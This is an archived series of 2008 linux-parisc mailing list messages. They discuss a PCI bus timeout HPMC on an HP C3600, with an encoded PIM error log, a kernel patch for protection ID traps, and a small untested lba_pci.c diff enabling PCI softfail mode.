ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCkEg
RGF0YSBJL08gRmV0Y2ggVGltZW91dCBvY2N1cnJlZCB3aGlsZSBDUFUgMCB3YXMgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCnJlcXVlc3RpbmcgaW5mb3Jt
YXRpb24gZnJvbSBhIGRldmljZSBhdCB0aGUgcGF0aCAxMC8wLzEyLzAgKGJ1aWx0LWluIFBDSSBk
ZXZpY2UpLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCk1lbW9y
eS9JTyBDb250cm9sbGVyIEVycm9yIEFuYWx5c2lzIEluZm9ybWF0aW9uOiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgClRoZSBNZW1vcnkvSU8gQ29udHJvbGxlciBvbmx5IG9ic2Vy
dmVkIHRoZSBCcm9hZGNhc3QgRXJyb3IuICBJdCBkaWQgbm90IGxvZyAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCmFueSBhZGRpdGlvbmFsIGluZm9ybWF0aW9uIGFib3V0IHRoZSBIUE1DLiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAoKCk1lbW9yeSBFcnJvciBMb2cgSW5mb3JtYXRpb246
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgClRp
bWVzdGFtcCA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgVHVlIERlYyAgMTYgMjE6
MjM6NDcgR01UIDIwMDggICAgKDIwOjA4OjEyOjE2OjIxOjIzOjQ3KSAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCic5MDAw
Lzc4NSBCLEMsSiBXb3Jrc3RhdGlvbiBNZW1vcnkgRXJyb3IgTG9nJywgcmV2IDAsIDY0IGJ5dGVz
OiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgIE5vIG1lbW9yeSBlcnJvcnMgbG9nZ2VkICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCkkvTyBNb2R1bGUgRXJyb3IgTG9nIElu
Zm9ybWF0aW9uOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgClRpbWVzdGFtcCA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgVHVlIERlYyAg
MTYgMjE6MjM6NDcgR01UIDIwMDggICAgKDIwOjA4OjEyOjE2OjIxOjIzOjQ3KSAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
Cic5MDAwLzc4NSBCLEMsSiBXb3Jrc3RhdGlvbiBJTyBFcnJvciBMb2cnLCByZXYgMCwgMjI4IGJ5
dGVzOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiBSb3BlICAgICBXb3JkMSAgICAgICAgV29yZDIg
ICAgICAgICAgICBXb3JkMyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCi0tLS0tLSAtLS0tLS0tLS0tLS0gLS0tLS0tLS0tLS0tICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
IDAgICAgMHgwMDAwMDAwMCAgIDB4MGUwY2MyYTkgICAweDAwMDAwMDAwZmVkMzAwNDggICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgIDEgICAgMHgwMDAwMDAw
MCAgIDB4MWUwY2MwMDkgICAweDAwMDAwMDAwZmVkMzIwNDggICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgIDIgICAgLS0tLS0tLS0tLSAgIDB4MmUwY2MwMDkg
ICAtLS0tLS0tLS0tLS0tLS0tLS0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgIDMgICAgLS0tLS0tLS0tLSAgIDB4M2UwY2MwMDkgICAtLS0tLS0tLS0tLS0t
LS0tLS0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgIDQg
ICAgMHgwMDAwMDAwMCAgIDB4NGUwY2MwMDkgICAweDAwMDAwMDAwZmVkMzgwNDggICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgIDUgICAgLS0tLS0tLS0tLSAg
IDB4NWUwY2MwMDkgICAtLS0tLS0tLS0tLS0tLS0tLS0gICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgIDYgICAgMHgwMDAwMDAwMCAgIDB4NmUwY2MwMDkgICAw
eDAwMDAwMDAwZmVkM2MwNDggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgIDcgICAgLS0tLS0tLS0tLSAgIDB4N2UwY2MwMDkgICAtLS0tLS0tLS0tLS0tLS0t
LS0gICAgICAgICAgCgoKCg==

--MP_/wTlbC=9Vnm6ozbPonbuOseN--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Sat, 20 Dec 2008 12:07:00 -0500 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <20081220170701.1B1DF4EE7@hiauly1.hia.nrc.ca>
References: <20081219233435.GA25457@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229792834 17320 80.91.229.12 (20 Dec 2008 17:07:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Dec 2008 17:07:14 +0000 (UTC)
Cc: deller@gmx.de, kyle@infradead.org, linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 20 18:08:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LE5JL-0006Ji-Eq
	for glpp-linux-parisc@gmane.org; Sat, 20 Dec 2008 18:08:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752659AbYLTRHE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Dec 2008 12:07:04 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752748AbYLTRHE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Dec 2008 12:07:04 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2176 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752659AbYLTRHD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Dec 2008 12:07:03 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1B1DF4EE7; Sat, 20 Dec 2008 12:07:00 -0500 (EST)
In-Reply-To: <20081219233435.GA25457@bombadil.infradead.org> from "Kyle McMartin" at Dec 19, 2008 06:34:35 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:999
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/999>

>  	case 27: 
>  		/* Data memory protection ID trap */
> +#define HANDLE_KERNEL_PROTECTION_TRAPS
> +#ifdef HANDLE_KERNEL_PROTECTION_TRAPS
> +		/* XXX very very evil */
> +		if (code == 27 && !user_mode(regs)) {

Should a check be added for regs->sr[3] != (unsigned long)current->mm.context?

> +			/* bang the spaceid back into sr3 */
> +			regs->sr[3] = (unsigned long)current->mm.context;

I seem to recall that James thought there was a problem with sr3 handling
a year or two ago.

> +			/* TODO? reprogram %cr8? load_context will get it. */
> +			/* TODO? thread_struct.faulted count to catch
> +			 *  taking the same fault on the same insn again?

Is this a general problem with parisc exception support?  The reason
I ask is it seems possible for an infinite loop to occur when an application
catches exceptions like bash.  It catches terminating signals so that it
can write the history file.  When terminate_immediately is zero, the
signal handler (termsig_sighandler) just records the terminating signal
and returns.  It doesn't reset the default handler for the signal or
specify SA_RESETHAND as far as I can tell.

It then appears the kernel restarts the application at the point of the
exception generating another exception.  This causes the kernel log files
to fill in short order.

I would say bash's behavior in trying to continue after a SEGV is questionable
but I also think the kernel shouldn't retry a faulting instruction unless
there's a chance the fault has been fixed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Sat, 20 Dec 2008 17:16:53 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <20081220221653.GA12880@bombadil.infradead.org>
References: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229811426 3918 80.91.229.12 (20 Dec 2008 22:17:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Dec 2008 22:17:06 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 20 23:18:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEA9C-0002L7-VN
	for glpp-linux-parisc@gmane.org; Sat, 20 Dec 2008 23:18:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751826AbYLTWQ4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Dec 2008 17:16:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753457AbYLTWQz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Dec 2008 17:16:55 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34685 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751826AbYLTWQz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Dec 2008 17:16:55 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LEA7x-0006Ru-F3; Sat, 20 Dec 2008 22:16:53 +0000
Content-Disposition: inline
In-Reply-To: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1000
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1000>

On Sat, Dec 20, 2008 at 01:39:15PM +0100, Guy Martin wrote:
> I'm recently running into HPMC bus timeout problem. While this never
> caused any problem before, I've noticed a few strange things. I've
> attached the output I get from "pim hpmc" in the PDC.
> 
> This BUS timeout occurs after one or two days of idling when I plug a
> specific card reader in the USB PCI card I plugged in. I think this
> card reader causes problems because it's being polled every 2-3 seconds.
> 
> Nevertheless, looking at the pdc output, it seems that the OS HPMC
> handler is not kicking off according to the chassis code CBF2 and CBFC.
> CBF2 : bas OS HPMC len
> CBFC : OS HPMC br err
> 
> I've check GR02 and it points to inw() which makes sens. Nothing
> interesting there.
> 
> The failing device appears to be the built-in NIC according the path
> provided in the output (10/0/12/0) and the C3600 service manual (figure
> 5-2).
> 
> Even if this look HW pb, I've had a few reports recently about HPMC PCI
> timeout issues and I have a few doubts.
> 
> Now my questions are :
>  - does this look like an HW or SW problems ?
>  - why isn't the HPMC handler kicked off ?
>  - could the HPMC handler recover this ?
>  - what debug can I enable to get more info about this if applicable ?
> 

"bus timeout" usually means we tried to read an address that doesn't
respond. that is, nothing on the bus accepted the transaction for it,
so it timed out and HPMC'd the box.

what you really need is the IIR, and the address it tried to access
(both the kernel vaddr which will be in the register, and the "system
requester address" from the hpmc dump which will be the physical address
mapped.

not sure why the hpmc handler is getting skipped, that's a little weird.

you can try hacking elroy to set softfail mode on that bus, which will
result in a timeout on the pci bus to return -1 (like what x86 and most
other architectures do) rather than hang the box, but it really likely
means a driver bug.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Sat, 20 Dec 2008 17:21:00 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20081220222100.GB12880@bombadil.infradead.org>
References: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be> <20081220221653.GA12880@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229811679 4486 80.91.229.12 (20 Dec 2008 22:21:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Dec 2008 22:21:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 20 23:22:23 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEADC-0003Mn-Kz
	for glpp-linux-parisc@gmane.org; Sat, 20 Dec 2008 23:22:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753359AbYLTWVD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Dec 2008 17:21:03 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753457AbYLTWVD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Dec 2008 17:21:03 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:46475 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753359AbYLTWVB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Dec 2008 17:21:01 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LEABw-0005k9-S1; Sat, 20 Dec 2008 22:21:00 +0000
Content-Disposition: inline
In-Reply-To: <20081220221653.GA12880@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1001
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1001>

On Sat, Dec 20, 2008 at 05:16:53PM -0500, Kyle McMartin wrote:
> you can try hacking elroy to set softfail mode on that bus, which will
> result in a timeout on the pci bus to return -1 (like what x86 and most
> other architectures do) rather than hang the box, but it really likely
> means a driver bug.

untested and all that jazz.

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index a28c894..a34f759 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1341,7 +1341,7 @@ lba_hw_init(struct lba_device *d)
 
 	/* Set HF mode as the default (vs. -1 mode). */
         stat = READ_REG32(d->hba.base_addr + LBA_STAT_CTL);
-	WRITE_REG32(stat | HF_ENABLE, d->hba.base_addr + LBA_STAT_CTL);
+	WRITE_REG32(stat & ~HF_ENABLE, d->hba.base_addr + LBA_STAT_CTL);
 
 	/*
 	** Writing a zero to STAT_CTL.rf (bit 0) will clear reset signal
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Sun, 21 Dec 2008 00:41:01 GMT
Lines: 14
Approved: news@gmane.org
Message-ID: <200812210041.mBL0f113025265@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
